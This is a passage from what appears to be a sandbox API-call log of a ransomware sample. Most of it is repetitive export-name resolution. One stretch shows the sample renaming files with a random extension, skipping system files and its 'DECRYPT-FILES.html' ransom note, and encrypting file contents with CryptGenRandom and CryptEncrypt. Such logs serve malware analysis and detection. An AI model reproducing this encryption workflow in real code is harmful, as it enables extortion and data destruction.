lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0115.478] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0115.478] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0115.478] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0115.478] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0115.478] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0115.478] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0115.478] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0115.478] lstrlenA (lpString="CREATEPIPE") returned 10 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0115.478] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0115.478] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0115.478] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0115.478] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0115.478] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0115.478] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0115.478] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0115.478] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0115.479] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0115.479] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0115.479] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0115.479] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0115.479] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0115.479] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0115.479] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0115.479] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0115.479] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0115.479] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0115.479] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0115.479] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0115.479] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0115.479] lstrlenA (lpString="CREATETHREAD") returned 12 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0115.479] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0115.479] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0115.479] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0115.479] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0115.479] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0115.479] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0115.479] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0115.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0115.480] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0115.480] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0115.480] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.oSXHaK") returned 51 [0115.480] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.oSXHaK" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.osxhak"), dwFlags=0x0) returned 1 [0115.480] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.489] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.490] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.490] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0115.490] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0115.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\") returned 27 [0115.490] lstrlenW (lpString="SetupResources.dll") returned 18 [0115.490] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1028\\" | out: lpString1="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0115.490] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" [0115.490] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0115.491] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0115.497] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=14168) returned 1 [0115.497] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0115.497] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x38c0000 [0115.802] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x31c0000 | out: pbBuffer=0x31c0000) returned 1 [0115.802] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x31c0020 | out: pbBuffer=0x31c0020) returned 1 [0115.802] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0115.803] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b60000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b60000*, pdwDataLen=0x38be718*=0x100) returned 1 [0115.804] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0115.804] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.805] UnmapViewOfFile (lpBaseAddress=0x38c0000) returned 1 [0115.805] CloseHandle (hObject=0x5f8) returned 1 [0115.805] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.805] WriteFile (in: hFile=0x5f4, lpBuffer=0x3b60000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b60000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0115.806] CloseHandle (hObject=0x0) returned 0 [0115.806] CloseHandle (hObject=0x5f4) returned 1 [0115.807] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.807] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.808] GetTickCount () returned 0x32684 [0115.808] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0115.808] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0115.808] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0115.808] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0115.808] lstrlenA (lpString="kernel32.dll") returned 12 [0115.809] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0115.809] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0115.809] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0115.809] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0115.809] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0115.809] lstrlenA (lpString="ADDATOMA") returned 8 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0115.809] lstrlenA (lpString="ADDATOMW") returned 8 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0115.809] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0115.809] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0115.809] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0115.809] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0115.809] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0115.809] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0115.809] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0115.809] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0115.809] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0115.809] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0115.809] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0115.810] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0115.810] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0115.810] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0115.810] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0115.810] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0115.810] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0115.810] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0115.810] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0115.810] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0115.810] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0115.810] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0115.810] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0115.810] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0115.810] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0115.810] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0115.810] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0115.811] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0115.811] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0115.811] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0115.811] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0115.811] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0115.811] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0115.811] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0115.811] lstrlenA (lpString="BACKUPREAD") returned 10 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0115.811] lstrlenA (lpString="BACKUPSEEK") returned 10 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0115.811] lstrlenA (lpString="BACKUPWRITE") returned 11 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0115.811] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0115.811] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0115.811] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0115.811] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0115.811] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0115.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0115.812] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0115.812] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0115.812] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0115.812] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0115.812] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0115.812] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0115.812] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0115.812] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0115.812] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0115.812] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0115.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0115.812] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0115.812] lstrcpyA (in: 